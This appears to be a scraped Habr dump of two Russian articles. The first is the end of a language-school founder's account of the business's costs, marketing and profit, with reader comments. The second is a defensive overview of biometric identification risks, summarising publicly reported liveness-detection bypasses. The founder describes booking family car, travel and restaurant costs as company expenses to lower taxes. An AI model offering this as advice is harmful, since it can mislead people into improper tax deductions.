<br/> Поэтому люди из маленьких городов нам подходят больше. Нам неудобно работать со столицей не только по финансовым, но и по моральным соображениям.<br/> <br/> Еще момент. Если привлечь на работу мегаменеджера из Яндекса или другой корпорации, то только на его зарплату нам пришлось бы привлекать сторонних инвесторов :) И тогда, конечно, можно было бы в прессе писать про то, что наш проект привлек огромные многомиллионные инвестиции. О других тонкостях работы с персоналом я расскажу в отдельной части.<br/> <br/> В-третьих, аудитория читателей на хабре — это IT-шники, ваша работа никогда не была низкооплачиваемой, поэтому не стоит исходить из цифры 1500-2500 евро в месяц. В преподавании расценки в несколько раз меньше.<br/> <br/> Кстати, по поводу стоимости работ и качества работ многих IT-шников отдельно напишет мой муж в разделе, касающемся фриланса и персонала. Опыт еще тот. Ценообразование и «профессионализм» просто приводили в ужас.<br/> <br/> <h2>Банковские проценты</h2><br/> Тут, конечно, кошмар. Порядка 10% всего оборота уходит банкам. За конверсии, оплаты картами, проценты за переводы заграницу, выплату зарплат и пр. Притом, банки откусывают по чуть-чуть и незаметно. Но на каждой транзакции. На дешевых продуктах банки забирают 4 евро из 7, то есть почти 60% от стоимости.<br/> <br/> <h2>Инвестиции в развитие</h2><br/> Оставшиеся 30% мы реинвестируем в бизнес и оставляем в виде прибыли. Притом, инвестиции всегда приоритет. В прибыль уходит только то, что не успели освоить.<br/> <br/> Например, разработка курса из семи уроков по любому языку обходилась поначалу около 800-1000 евро. И этот материал выкладывался в бесплатный доступ, чтобы с ним мог работать любой желающий.<br/> <br/> Сейчас, если сосчитать все материалы по языку в бесплатном доступе (раздел грамматики, упражнения, видео уроки, курс песен, обработка звука, верстка материалов на сайт, мобильные приложения) – минимум еще 6000-8000 евро. <br/> <br/> То есть создание бесплатных материалов на 1 язык обходится около 9000 Евро единовременных затрат. Потом плюс поддержка и постоянные обновления по несколько сотен евро в год.<br/> <br/> Все наши бесплатные материалы мы считаем нашей визитной карточкой. Нас «продают» наши же пользователи и студенты, которые увидели на себе эффективность занятий с нами, и рекомендуют нас дальше.<br/> <br/> Можно было, конечно, эти же деньги вложить в рекламные кампании (если сложить все затраты на все языки, то получается очень внушительная сумма), но, прежде всего, нам хотелось создать что-то действительно полезное для людей, сделать качественный продукт и сделать его доступным каждому. Во-вторых, по нашей практике, в рекламу просто тупо сливается бюджет, без каких-либо гарантий и измеримой отдачи. То есть, если вкладываться в материалы, то это приносит пользу людям и остается за нами в долгосрочной перспективе. Если в рекламу, то это деньги в никуда и это не приносит никакой пользы конечному потребителю.<br/> <br/> Отдельно разрабатываются платные курсы, по которым занимаются наши студенты на курсах по скайпу. Они влекут за собой дополнительные затраты.<br/> <br/> Из того, что остается после зарплат, банков и инвестирований в развитие, оплачиваются все налоги, юристы, бухгалтера и вся материальная база.<br/> <br/> <h2>Маркетинг и реклама</h2><br/> За все эти годы в эти направления мы <s>инвестировали</s> растратили около 30.000 евро (из них зарплата маркетологов около 12.000 евро). Все эти мероприятия должны были привести нам студентов на наши платные курсы. Это деньги, которые не увеличили никоим образом нам конверсию и количество студентов.<br/> <br/> Отдача была чуть больше нуля. Мы пробовали разные способы, но результат практически всегда был нулевой. Платные ссылки, платные статьи, контекстная реклама, реклама в соцсетях, редизайны сайта, переделка блога, вебинары — все это в нашем случае не сработало.<br/> <br/> Но по факту, что у нас работает — это «сарафанное радио», новые продукты, email рассылка, которую веду я, мои статьи и видео, бесплатные материалы на сайте и постпродажное обслуживание существующих студентов (в-основном, они идут к нам на второй язык).<br/> <br/> 20-25% новых студентов — это друзья и знакомые тех, кто у нас уже занимался. Мы не ожидали такого показателя и он нас очень радует. Чисто по-человечески. Притом этот процент стабилен вот уже на протяжении двух лет.<br/> <br/> Последние полгода мы не тратим ни одного евро на рекламу и маркетинг, а рост количества студентов стабилен. То есть тренд сохраняется.<br/> <br/> Однако мы понимаем, что нам нужно развивать маркетинг и рекламу для роста продаж. Но пока нет у нас идей, как это можно сделать и нет человека, который мог бы нам это организовать. Поэтому мы и решили остановить пустую трату денег до того момента, когда у нас появится грамотный маркетолог. Пока что мы такого не нашли, хотя ищем сильно и долго. Если кто есть на примете — свистите ;)<br/> <br/> <h2>Юристы и бухгалтера</h2><br/> В Чехии они нам обходятся примерно в 4000-6000 евро в год, смотря, какие вопросы решаются.<br/> <br/> Оформление торговых марок и защита своей интеллектуальной собственности нам обошлись порядка 6000 евро.<br/> <br/> <h2>Налоги</h2><br/> Налог на прибыль в Чехии это 20% от чистой прибыли. Не от оборота. Надо отдать должное финансовым институтам Чехии: здесь все налоги и вся коммуникация с правительственными органами построена настолько просто и понятно, что нам не составляет никаких проблем с этим разобраться самостоятельно. Практически все вопросы решаются звонками и в электронной форме. Ну и наши бухгалтеры нам с этим здорово помогают.<br/> <br/> <h1>Прибыль</h1><br/> Среднегодовая прибыль нашей компании порядка 10% от оборота. Мы практически все, что зарабатываем, сразу же реинвестируем обратно в бизнес. Это чистой воды бутстрэппинг. Если приостановить развитие и просто вынимать деньги, то можно достичь прибыли в 10-20% от оборота. Если перейти в режим «дойки», то и 30%, думаю, не предел. Но это убьет бизнес в долгосрочной перспективе. Понимаю, что для российской экономики проценты смешные, но нам, как европейской компании, нужно работать в соответствии с законами, поэтому прибыльность 10% мы считаем нормальной.<br/> <br/> Но есть еще один момент, который очень удобен для нас, как для семьи. Все расходы на автомобиль и поездки оплачиваются из фирменных денег и снижают чистую прибыль, соответственно налоги. Зачастую походы в ресторан также проводим как фирменные расходы. Компьютерная техника, интернет туда же. Мы при этом не тратим свои личные сбережения, что может расцениваться как дополнительный семейный доход.<br/> <br/> В следующей статье я расскажу, как в 2014 году мы пережили свой первый большой финансовый кризис.</div>
Елена Шипилова (speakASAP)
null
null
<img src="https://habrastorage.org/files/bbc/cfb/906/bbccfb906fb94bf2ba9488b08e5d06f2.jpg"/><br/> <br/> Уровень продаж мы измеряем не только цифрами на банковских счетах, но и историями изменений в жизни наших студентов, которые произошли благодаря нам.<br/> <br/> Когда бизнес создается в стенах офиса, он имеет совсем другую ауру, чем наш бизнес, который создается в семье, имея 5 детей. Эту разницу отмечают абсолютно все наши студенты и сотрудники.<br/> <br/> В этой статье речь пойдет только о цифрах, но прошу держать в голове то, что в основе всего лежит семья и максимум времени уходит на обучение и воспитание детей. На муже еще и работа в IBM. А бизнесу выделяется только то время, которое остается.<br/> <br/> <h1>Цифры за 6 лет</h1><br/> <ul> <li>оборот 350 000 евро в год;</li> <li>2 000 000 посетителей на сайте в год;</li> <li>11 000 000 просмотров видео на YouTube-канале;</li> <li>200 000 подписчиков;</li> <li>&gt;1 000 000 установок наших мобильных приложений;</li> <li>около 5 000 студентов;</li> <li>у нас родилось 4 детей.</li> </ul><br/>
Уровень продаж мы измеряем не только цифрами на банковских счетах, но и историями изменений в жизни наших студентов, которые произошли благодаря нам. Когда бизнес создается в стенах офиса, он имеет совсем другую ауру, чем наш бизнес, который создается в семье, имея 5 детей. Эту разницу отмечают абсолютно все наши студенты и сотрудники. В этой статье речь пойдет только о цифрах, но прошу держать в голове то, что в основе всего лежит семья и максимум времени уходит на обучение и воспитание детей. На муже еще и работа в IBM. А бизнесу выделяется только то время, которое остается. # Цифры за 6 лет оборот 350 000 евро в год; 2 000 000 посетителей на сайте в год; 11 000 000 просмотров видео на YouTube-канале; 200 000 подписчиков; >1 000 000 установок наших мобильных приложений; около 5 000 студентов; у нас родилось 4 детей.
article
1,464,273,210
{ "commentsCount": 9, "favoritesCount": 53, "readingCount": 5542, "score": -6, "votesCount": 14, "votesCountPlus": 4, "votesCountMinus": 10 }
[]
[ "speakasap", "it_monetization", "web_monetization", "internetmarketing" ]
[ "marketing" ]
[ "бутстрап", "бутстреппинг", "бутстрэп", "стартапы; финансирование; инвесторы", "финансирование стартапов", "финансирование проекта" ]
8
null
null
{ "id": [ 9628260, 9628262, 9628466, 9628618, 9629232, 9630058, 9630634, 9633232, 9633484 ], "parent_id": [ null, 9628260, 9628262, 9628466, 9628618, null, 9630058, null, 9633232 ], "level": [ 0, 1, 2, 3, 4, 0, 1, 0, 1 ], "time_published": [ 1464287998, 1464288034, 1464294029, 1464299383, 1464336097, 1464354102, 1464367908, 1464538269, 1464558061 ], "score": [ 0, 0, 0, 1, 0, 0, 1, 0, 0 ], "votes": [ 0, 0, 0, 1, 0, 0, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мм… Интересно, но хотелось бы больше конкретных подробностей о конкретных ситуациях (хотя это уже наверное не для хабра будет, и даже не для гиктаймз). Сейчас всё «в общем». Но интересно. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Каких именно конкретных ситуаций?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Любых, которые возникали на пути. Вы проснулись одним прекрасным днем и бац! — проблема. Какая проблема, как решили?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это в следующей статье. Кризис 2014 года</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Молодцы в общем, буду вас рекомендовать)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Буду очень благодарна, если объясните, чем именно статья настолько не понравилась и ее так сильно заминусовали.<br/>\r\n<br/>\r\nЯ рассказала на реальных цифрах и действиях, как можно рационально распределять небольшие деньги с максимальным эффектом.<br/>\r\n<br/>\r\nБуду благодарна за правдивые объяснения, почему минус, чтобы писать следующие статьи.<br/>\r\n<br/>\r\nНе думаю, что тут сработал стадный эффект — здесь все же думающая аудитория.<br/>\r\n<br/>\r\nМы рискнули выложить все цифры и ситуации, и для меня удивительно, что получили такой отклик. Я могу писать фантастические статьи рекламного характера, увеличивая цифры в раз *надцать, пиаря нас, чтоб аж дух захватывало, но мне кажется, интереснее работать с реальным материалом, где видны слабые места и можно подсказать решение проблем.<br/>\r\n<br/>\r\nСпасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>здесь все же думающая аудитория</blockquote><br/>\r\nМиф. <br/>\r\n<br/>\r\n<blockquote>Не думаю, что тут сработал стадный эффект</blockquote><br/>\r\nОн тут очень распространен, поэтому, в частности, всех редакторов хором флеймят (как кто-то метко подметил — \"[редакторы ]опять недостаточно хорошо бесплатно развлекают вас в интернете\"), не особо задумываясь, и минусуют на автомате всех с альтернативной точкой зрения.<br/>\r\n<br/>\r\nЧитаю хабр/тостер/гиктаймз уже лет… много лет читаю, 5 как минимум, в этом году начал комментить. Мнение о сообществе сложилось именно такое — 99% самовлюбленные узкомыслящие гики, 1% — умеют «думать» (как правило, это авторы статей). А контент хороший на сайтах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за интересную статью. Жаль что срок голосования истек. А как вы преподавателей ищите? Тоже через фриланс биржи?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Основной состав преподавателей пришли к нам сами. После того, акк познакомились с нашим сайтом и философией.<br/>\r\nАбсолютно все ключевые люди кпришли к нам сами на идею.<br/>\r\nНовых преподавателей ищем через соцсети и сайты для поиска работы.</div>" ], "message_markdown": [ "Мм... Интересно, но хотелось бы больше конкретных подробностей о конкретных ситуациях (хотя это уже наверное не для хабра будет, и даже не для гиктаймз). Сейчас всё «в общем». Но интересно.", "Каких именно конкретных ситуаций?", "Любых, которые возникали на пути. Вы проснулись одним прекрасным днем и бац! — проблема. Какая проблема, как решили?", "Это в следующей статье. Кризис 2014 года", "Молодцы в общем, буду вас рекомендовать)", "Буду очень благодарна, если объясните, чем именно статья настолько не понравилась и ее так сильно заминусовали.\nЯ рассказала на реальных цифрах и действиях, как можно рационально распределять небольшие деньги с максимальным эффектом.\nБуду благодарна за правдивые объяснения, почему минус, чтобы писать следующие статьи.\nНе думаю, что тут сработал стадный эффект — здесь все же думающая аудитория.\nМы рискнули выложить все цифры и ситуации, и для меня удивительно, что получили такой отклик. Я могу писать фантастические статьи рекламного характера, увеличивая цифры в раз *надцать, пиаря нас, чтоб аж дух захватывало, но мне кажется, интереснее работать с реальным материалом, где видны слабые места и можно подсказать решение проблем.\nСпасибо.", "> здесь все же думающая аудитория\nМиф.\n> Не думаю, что тут сработал стадный эффект\nОн тут очень распространен, поэтому, в частности, всех редакторов хором флеймят (как кто-то метко подметил — \"[редакторы ]опять недостаточно хорошо бесплатно развлекают вас в интернете\"), не особо задумываясь, и минусуют на автомате всех с альтернативной точкой зрения.\nЧитаю хабр/тостер/гиктаймз уже лет... много лет читаю, 5 как минимум, в этом году начал комментить. Мнение о сообществе сложилось именно такое — 99% самовлюбленные узкомыслящие гики, 1% — умеют «думать» (как правило, это авторы статей). А контент хороший на сайтах.", "Спасибо за интересную статью. Жаль что срок голосования истек. А как вы преподавателей ищите? Тоже через фриланс биржи?", "Основной состав преподавателей пришли к нам сами. После того, акк познакомились с нашим сайтом и философией.\nАбсолютно все ключевые люди кпришли к нам сами на идею.\nНовых преподавателей ищем через соцсети и сайты для поиска работы." ], "author": [ "Нерон Лордов (Nekto_Habr)", "Елена Шипилова (speakASAP)", "Нерон Лордов (Nekto_Habr)", "Елена Шипилова (speakASAP)", "Нерон Лордов (Nekto_Habr)", "Елена Шипилова (speakASAP)", "Нерон Лордов (Nekto_Habr)", "Ermak (Ermak)", "Елена Шипилова (speakASAP)" ], "children": [ [ 9628262 ], [ 9628466 ], [ 9628618 ], [ 9629232 ], [], [ 9630634 ], [], [ 9633484 ], [] ] }
469,533
ru
https://habr.com/ru/post/469533/
Проблемы и угрозы биометрической идентификации
В 2018 году в России вступил в действие закон о биометрической идентификации. В банках идёт внедрение биометрических комплексов и сбор данных для размещения в Единой биометрической системе (ЕБС). Биометрическая идентификация даёт гражданам возможность получать банковские услуги дистанционно. Это избавляет их от очередей и технически позволяет «посетить банк» в любое время суток. Удобства дистанционной идентификации по фотографии или голосу по достоинству оценили не только клиенты банков, но и киберпреступники. Несмотря на стремление разработчиков сделать технологию безопасной, исследователи постоянно сообщают о появлении новых способов обмана таких систем. Так может, не стоит соглашаться на предложение приветливого операциониста пройти биометрическую идентификацию в отделении банка? Или всё-таки воспользоваться преимуществами новой технологии? Разбираемся в этом посте. ### В чём проблема? У биометрической идентификации есть особенности, которые отличают её от привычной пары логин/пароль или «безопасной» 2FA: 1. Биометрические данные публичны. Можно найти фотографии, видео- и аудиозаписи практически любого жителя планеты Земля и использовать их для идентификации. 2. Невозможно заменить лицо, голос, отпечатки пальцев или сетчатку с той же лёгкостью, как пароль, номер телефона или токен для 2FA. 3. Биометрическая идентификация подтверждает личность с вероятностью, близкой, но не равной 100%. Другими словами, система допускает, что человек может в какой-то степени отличаться от своей биометрической модели, сохранённой в базе. Поскольку биометрические данные открывают не только турникеты в аэропортах, но и банковские сейфы, хакеры и киберпреступники всего мира усиленно работают над способами обмана систем биометрической идентификации. Каждый год в программе конференции по информационной безопасности BlackHat неизменно присутствуют доклады, связанные с уязвимостями биометрии, но практически не встречается выступлений, посвящённых разработке методов защиты. В качестве основных проблем, связанных с биометрической идентификацией, можно выделить фальсификацию, утечки и кражи, низкое качество собранных данных, а также многократный сбор данных одного человека разными организациями. ### Фальсификация Публикации, связанные с различными способами обмана систем биометрической идентификации, часто встречаются в СМИ. Это и отпечаток пальца министра обороны Германии Урсулы фон дер Ляйен, изготовленный по её публичным фотографиям, и обман Face ID на iPhone X с помощью маски, нашумевшая кража 243 тысяч долларов с помощью подделанного нейросетью голоса генерального директора, фальшивые видео со звёздами, рекламирующими мошеннические выигрыши, и китайская программа ZAO, которая позволяет заменить лицо персонажа видеоролика на любое другое. Чтобы биометрические системы не принимали фотографии и маски за людей, в них используется технология выявления «живости» — liveness detection — набор различных проверок, которые позволяют определить, что перед камерой находится живой человек, а не его маска или фотография. Но и эту технологию можно обмануть. Внедрение фальшивого видеопотока в биометрическую систему. Источник В представленном на BlackHat 2019 докладе «Biometric Authentication Under Threat: Liveness Detection Hacking» сообщается об успешном обходе liveness detection в Face ID с помощью очков, надетых на спящего человека, внедрения поддельных аудио- и видеопотоков, и других способов. X-glasses — очки для обмана liveness detection в Face ID. Источник Для удобства пользователей, Face ID срабатывает, если человек надел солнцезащитные очки. При этом количество света в глазах уменьшается, поэтому система не может построить качественную 3D-модель области вокруг глаз. По этой причине, обнаружив очки, Face ID не пытается извлечь 3D-информацию о глазах и представляет их в виде абстрактной модели — чёрной области с белой точкой в центре. ### Качество сбора данных и ложные распознавания Точность идентификации сильно зависит от качества биометрических данных, сохранённых в системе. Чтобы обеспечить достаточное для надёжного распознавания качество, необходимо оборудование, которое работает в условиях шумных и не слишком ярко освещённых отделений банков. Дешёвые китайские микрофоны позволяют записать образец голоса в неблагоприятных условиях, а бюджетные камеры — сделать фото для построения биометрической модели. Но при таком сценарии значительно возрастает количество ложных узнаваний — вероятность того, что система примет одного человека за другого, с близким по тональности голосом или сходной внешностью. Таким образом, некачественные биометрические данные создают больше возможностей для обмана системы, которыми могут воспользоваться злоумышленники. ### Многократный сбор биометрии Некоторые банки начали внедрение собственной биометрической системы раньше, чем заработала ЕБС. Сдав свою биометрию, человек считает, что может воспользоваться новой технологией обслуживания в других банках, а когда выясняется, что это не так, сдаст данные повторно. Ситуация с наличием нескольких параллельных биометрических систем создаёт риск, что: У человека, дважды сдавшего биометрию, скорее всего, уже не вызовет удивления предложение повторить эту процедуру и в будущем он может стать жертвой мошенников, которые будут собирать биометрию в своих преступных целях. Чаще будут происходить утечки и злоупотребления, поскольку увеличится количество возможных каналов доступа к данным. ### Утечки и кражи Может показаться, что утечка или кража биометрических данных — настоящая катастрофа для их владельцев, но, в действительности, всё не так плохо. В общем случае биометрическая система хранит не фотографии и записи голоса, а наборы цифр, характеризующие личность — биометрическую модель. И теперь поговорим об этом подробнее. > Для построения модели лица система находит опорные антропометрические точки, определяющие его индивидуальные характеристики. Алгоритм вычисления этих точек отличается от системы к системе и является секретом разработчиков. Минимальное количество опорных точек — 68, но в некоторых системах их количество составляет 200 и более. > > По найденным опорным точкам вычисляется дескриптор — уникальный набор характеристик лица, независимый от причёски, возраста и макияжа. Полученный дескриптор (массив чисел) и представляет собой биометрическую модель, которая сохраняется в базе данных. Восстановить исходное фото по модели невозможно. > > Для идентификации пользователя система строит его биометрическую модель и сравнивает с хранящимся в базе дескриптором. Из принципа построения модели имеются важные следствия: 1. Использовать данные, похищенные из одной биометрической системы для обмана другой — вряд ли получится из-за разных алгоритмов поиска опорных точек и серьёзных различий в результирующей модели. 2. Обмануть систему с помощью похищенных из неё данных тоже не получится — для идентификации требуется предъявление фотографии или аудиозаписи, по которой уже будет проведено построение модели и сравнение с эталоном. Даже если база хранит не только биометрические модели, но и фото и аудио, по которым они построены, обмануть систему с их помощью «в лоб» нельзя: алгоритмы проверки на «живость» считают ложными результаты с полным совпадением дескрипторов. Методы проверки liveness для лицевой и голосовой модальности. Источник: Центр речевых технологий Таким образом, использование утекших биометрических данных не поможет киберпреступникам быстро получить материальную выгоду, а значит, они с большей вероятностью будут искать более простые и надёжные способы обогащения. ### Как защититься? Вступившая в действие 14 сентября 2019 года директива Евросоюза PSD2, также известная как Open Banking, требует от банков внедрения многофакторной аутентификации для обеспечения безопасности удалённых транзакций, выполняемых по любому каналу. Это означает обязательное использование двух их трёх компонентов: Знания — какой-то информации, известной только пользователю, например, пароля или контрольного вопроса. Владения — какого-то устройства, которое имеется только у пользователя, например, телефона или токена. Уникальности — чего-то неотъемлемого, присущего пользователю и однозначно идентифицирующего личность, например, биометрических данных. Эти три элемента должны быть независимыми так, чтобы компрометация одного элемента не влияла на надёжность других. Применительно к банковской практике это означает, что проведение операций по биометрическим данным должно обязательно сопровождаться дополнительными проверками с помощью пароля, токена или PUSH/SMS-кодов. ### Использовать или нет? У биометрической аутентификации имеются большие перспективы, однако опасности, которые приходят в нашу жизнь вместе с ними, выглядят весьма реалистично. Разработчикам систем и законодательным органам стоит изучить результаты новейших исследований уязвимостей биометрических систем и оперативно доработать как решения по идентификации, так и нормативные акты, регулирующие их работу. Банкам необходимо принять во внимание ситуацию с deepfakes и другими способами обмана биометрических систем, используя сочетание традиционных способов идентификации пользователя с биометрическими: пароли, 2FA и usb-токены всё ещё могут принести пользу. С клиентами банков ситуация сложная. С одной стороны, биометрическая идентификация разрабатывалась для их удобства как попытка расширить возможности для получения банковских услуг в любое время с минимальными формальностями. С другой — в случае успешной атаки рискуют своими деньгами именно они, а регуляторы и разработчики биометрических систем ответственности за взломы не несут. В связи с этим, логичная рекомендация клиентам банков — не торопиться со сдачей биометрических данных, не обращать внимание на агрессивные призывы. Если же без биометрической идентификации никак не обойтись, то используйте её совместно с многофакторной аутентификацией, чтобы хотя бы частично снизить риски.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/webt/a_/fn/6_/a_fn6_sayjdtyg82evcjlnjkn78.jpeg" alt="image" data-src="https://habrastorage.org/webt/a_/fn/6_/a_fn6_sayjdtyg82evcjlnjkn78.jpeg" data-blurred="true"/><br/> <br/> В 2018 году в России вступил в действие <a href="https://rg.ru/2018/01/09/fz482-dok.html">закон о биометрической идентификации</a>. В банках идёт внедрение биометрических комплексов и сбор данных для размещения в Единой биометрической системе (ЕБС). Биометрическая идентификация даёт гражданам возможность получать банковские услуги дистанционно. Это избавляет их от очередей и технически позволяет «посетить банк» в любое время суток.<br/> <br/> Удобства дистанционной идентификации по фотографии или голосу по достоинству оценили не только клиенты банков, но и киберпреступники. Несмотря на стремление разработчиков сделать технологию безопасной, исследователи постоянно сообщают о появлении новых способов обмана таких систем.<br/> <br/> Так может, не стоит соглашаться на предложение приветливого операциониста пройти биометрическую идентификацию в отделении банка? Или всё-таки воспользоваться преимуществами новой технологии? Разбираемся в этом посте.<br/> <a name="habracut"></a><br/> <b><h3>В чём проблема?</h3></b><br/> У биометрической идентификации есть особенности, которые отличают её от привычной пары логин/пароль или «безопасной» 2FA:<br/> <br/> <ol> <li>Биометрические данные публичны. Можно найти фотографии, видео- и аудиозаписи практически любого жителя планеты Земля и использовать их для идентификации.</li> <li>Невозможно заменить лицо, голос, отпечатки пальцев или сетчатку с той же лёгкостью, как пароль, номер телефона или токен для 2FA.</li> <li>Биометрическая идентификация подтверждает личность с вероятностью, близкой, но не равной 100%. Другими словами, система допускает, что человек может в какой-то степени отличаться от своей биометрической модели, сохранённой в базе.</li> </ol><br/> Поскольку биометрические данные открывают не только турникеты в аэропортах, но и банковские сейфы, хакеры и киберпреступники всего мира усиленно работают над способами обмана систем биометрической идентификации. Каждый год в программе конференции по информационной безопасности BlackHat неизменно присутствуют <a href="https://www.google.com/search?q=biometrics+site%3Awww.blackhat.com&amp;oq=biometrics+site%3Awww.blackhat.com&amp;aqs=chrome..69i57.580j0j7&amp;sourceid=chrome&amp;ie=UTF-8">доклады, связанные с уязвимостями биометрии</a>, но практически не встречается выступлений, посвящённых разработке методов защиты.<br/> <br/> В качестве основных проблем, связанных с биометрической идентификацией, можно выделить фальсификацию, утечки и кражи, низкое качество собранных данных, а также многократный сбор данных одного человека разными организациями.<br/> <br/> <b><h3>Фальсификация</h3></b><br/> Публикации, связанные с различными способами обмана систем биометрической идентификации, часто встречаются в СМИ. Это и <a href="https://www.popmech.ru/technologies/272032-khaker-poddelal-otpechatki-paltsev-ministra-oborony-frg/">отпечаток пальца министра обороны Германии Урсулы фон дер Ляйен, изготовленный по её публичным фотографиям</a>, и <a href="https://youtu.be/i4YQRLQVixM">обман Face ID на iPhone X</a> с помощью маски, нашумевшая <a href="https://vc.ru/future/81300-wsj-prestupniki-vymanili-243-tysyachi-u-britanskoy-firmy-pri-pomoshchi-ii-programmy-dlya-poddelki-golosa">кража 243 тысяч долларов</a> с помощью подделанного нейросетью голоса генерального директора, <a href="http://www.itsec.ru/news/obnaruzhena-fishingovaya-kampaniya-s-ispolzovaniyem-feikovogo-video">фальшивые видео со звёздами</a>, рекламирующими мошеннические выигрыши, и китайская программа ZAO, которая позволяет <a href="https://youtu.be/EfK4Bivzin4">заменить лицо персонажа видеоролика на любое другое.</a><br/> <br/> Чтобы биометрические системы не принимали фотографии и маски за людей, в них используется технология выявления «живости» — liveness detection — набор различных проверок, которые позволяют определить, что перед камерой находится живой человек, а не его маска или фотография. Но и эту технологию можно обмануть.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/hs/sd/az/hssdazsr6v_ym3pdpjn5-ryn2qc.png" alt="image" data-src="https://habrastorage.org/webt/hs/sd/az/hssdazsr6v_ym3pdpjn5-ryn2qc.png"/><br/> <i>Внедрение фальшивого видеопотока в биометрическую систему.</i> <a href="https://www.blackhat.com/us-19/briefings/schedule/#biometric-authentication-under-threat-liveness-detection-hacking-16130"><i>Источник</i></a><br/> <br/> В представленном на BlackHat 2019 докладе «<a href="https://www.blackhat.com/us-19/briefings/schedule/#biometric-authentication-under-threat-liveness-detection-hacking-16130">Biometric Authentication Under Threat: Liveness Detection Hacking</a>» сообщается об успешном обходе liveness detection в Face ID с помощью очков, надетых на спящего человека, внедрения поддельных аудио- и видеопотоков, и других способов.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/xo/ah/ky/xoahky476cqmkjln0v-k4wffule.png" alt="image" data-src="https://habrastorage.org/webt/xo/ah/ky/xoahky476cqmkjln0v-k4wffule.png"/><br/> <i>X-glasses — очки для обмана liveness detection в Face ID. <a href="https://www.blackhat.com/us-19/briefings/schedule/#biometric-authentication-under-threat-liveness-detection-hacking-16130">Источник</a><br/> </i><br/> Для удобства пользователей, Face ID срабатывает, если человек надел солнцезащитные очки. При этом количество света в глазах уменьшается, поэтому система не может построить качественную 3D-модель области вокруг глаз. По этой причине, обнаружив очки, Face ID не пытается извлечь 3D-информацию о глазах и представляет их в виде абстрактной модели — чёрной области с белой точкой в центре.<br/> <br/> <b><h3>Качество сбора данных и ложные распознавания</h3></b><br/> Точность идентификации сильно зависит от качества биометрических данных, сохранённых в системе. Чтобы обеспечить достаточное для надёжного распознавания качество, <a href="https://www.gazeta.ru/business/2019/03/26/12266726.shtml?updated">необходимо оборудование, которое работает в условиях шумных и не слишком ярко освещённых отделений банков.</a><br/> <br/> Дешёвые китайские микрофоны позволяют записать образец голоса в неблагоприятных условиях, а бюджетные камеры — сделать фото для построения биометрической модели. Но при таком сценарии значительно возрастает количество ложных узнаваний — вероятность того, что система примет одного человека за другого, с близким по тональности голосом или сходной внешностью. Таким образом, некачественные биометрические данные создают больше возможностей для обмана системы, которыми могут воспользоваться злоумышленники.<br/> <br/> <b><h3>Многократный сбор биометрии</h3></b><br/> Некоторые банки начали внедрение собственной биометрической системы раньше, чем заработала ЕБС. Сдав свою биометрию, человек считает, что может воспользоваться новой технологией обслуживания в других банках, а когда выясняется, что это не так, сдаст данные повторно. <br/> <br/> Ситуация с наличием нескольких параллельных биометрических систем создаёт риск, что:<br/> <br/> <ul> <li>У человека, дважды сдавшего биометрию, скорее всего, уже не вызовет удивления предложение повторить эту процедуру и в будущем он может стать жертвой мошенников, которые будут собирать биометрию в своих преступных целях.</li> <li>Чаще будут происходить утечки и злоупотребления, поскольку увеличится количество возможных каналов доступа к данным.</li> </ul><br/> <b><h3>Утечки и кражи</h3></b><br/> Может показаться, что утечка или кража биометрических данных — настоящая катастрофа для их владельцев, но, в действительности, всё не так плохо. <br/> <br/> В общем случае биометрическая система хранит не фотографии и записи голоса, а наборы цифр, характеризующие личность — биометрическую модель. И теперь поговорим об этом подробнее. <br/> <br/> <blockquote>Для построения модели лица система находит опорные антропометрические точки, определяющие его индивидуальные характеристики. Алгоритм вычисления этих точек отличается от системы к системе и является секретом разработчиков. Минимальное количество опорных точек — 68, но в некоторых системах их количество составляет 200 и более. <br/> <br/> По найденным опорным точкам вычисляется дескриптор — уникальный набор характеристик лица, независимый от причёски, возраста и макияжа. Полученный дескриптор (массив чисел) и представляет собой биометрическую модель, которая сохраняется в базе данных. Восстановить исходное фото по модели невозможно. <br/> <br/> Для идентификации пользователя система строит его биометрическую модель и сравнивает с хранящимся в базе дескриптором. </blockquote><br/> Из принципа построения модели имеются важные следствия: <br/> <br/> <ol> <li>Использовать данные, похищенные из одной биометрической системы для обмана другой — вряд ли получится из-за разных алгоритмов поиска опорных точек и серьёзных различий в результирующей модели. </li> <li>Обмануть систему с помощью похищенных из неё данных тоже не получится — для идентификации требуется предъявление фотографии или аудиозаписи, по которой уже будет проведено построение модели и сравнение с эталоном. </li> </ol><br/> Даже если база хранит не только биометрические модели, но и фото и аудио, по которым они построены, обмануть систему с их помощью «в лоб» нельзя: алгоритмы проверки на «живость» считают ложными результаты с полным совпадением дескрипторов. <br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/ld/1o/ub/ld1oub5qakfmua7-lqzphydagbw.png" alt="image" data-src="https://habrastorage.org/webt/ld/1o/ub/ld1oub5qakfmua7-lqzphydagbw.png"/><br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/68/fx/jg/68fxjgkrxwj1usj0llokc-qpjio.png" alt="image" data-src="https://habrastorage.org/webt/68/fx/jg/68fxjgkrxwj1usj0llokc-qpjio.png"/><br/> <br/> <i>Методы проверки liveness для лицевой и голосовой модальности. <br/> Источник: <a href="https://www.speechpro.ru/">Центр речевых технологий</a></i><br/> <br/> Таким образом, использование утекших биометрических данных не поможет киберпреступникам быстро получить материальную выгоду, а значит, они с большей вероятностью будут искать более простые и надёжные способы обогащения. <br/> <br/> <b><h3>Как защититься?</h3></b><br/> Вступившая в действие 14 сентября 2019 года <a href="https://ec.europa.eu/info/law/payment-services-psd-2-directive-eu-2015-2366_en/">директива Евросоюза PSD2</a>, также известная как Open Banking, требует от банков внедрения многофакторной аутентификации для обеспечения безопасности удалённых транзакций, выполняемых по любому каналу. Это означает обязательное использование двух их трёх компонентов: <br/> <br/> <ul> <li><b>Знания</b> — какой-то информации, известной только пользователю, например, пароля или контрольного вопроса. </li> <li><b>Владения</b> — какого-то 